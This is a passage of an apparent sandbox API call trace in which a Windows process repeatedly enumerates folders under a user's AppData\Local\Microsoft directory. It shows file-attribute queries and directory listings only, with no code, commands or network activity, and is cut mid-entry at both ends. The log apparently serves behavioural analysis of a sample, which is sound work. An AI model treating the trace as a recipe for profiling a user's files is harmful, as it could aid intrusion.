Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0070.127] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.128] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.128] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.128] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.128] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0070.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.128] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbae322b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbae322b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.128] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0070.128] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.128] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.128] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.129] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.129] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.129] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.129] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.129] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0070.129] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.129] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.129] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.130] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0070.130] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.130] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.130] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0070.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\forms"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9483500, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xa9483500, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xa9483500, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.131] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0070.131] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.131] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.131] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.132] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.132] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.132] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0070.132] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.132] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.132] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.132] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.132] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.132] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0070.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.132] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\ime12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0070.133] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.133] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.133] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.133] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0070.133] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.134] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.134] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.134] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.134] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x30 [0070.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\imjp12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.134] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x30 [0070.134] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.134] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.134] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.135] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x30 [0070.135] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.135] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.135] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.135] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x31 [0070.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\imjp8_1"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x31 [0070.136] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.136] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.136] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.136] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x31 [0070.136] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.136] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.136] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.136] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x31 [0070.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\imjp9_0"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x31 [0070.137] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.137] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.137] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.137] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x31 [0070.137] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.137] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.137] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.137] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3b [0070.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xf2b22510, ftLastAccessTime.dwHighDateTime=0x1d2faa6, ftLastWriteTime.dwLowDateTime=0xf2b22510, ftLastWriteTime.dwHighDateTime=0x1d2faa6, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3b [0070.138] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.142] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: 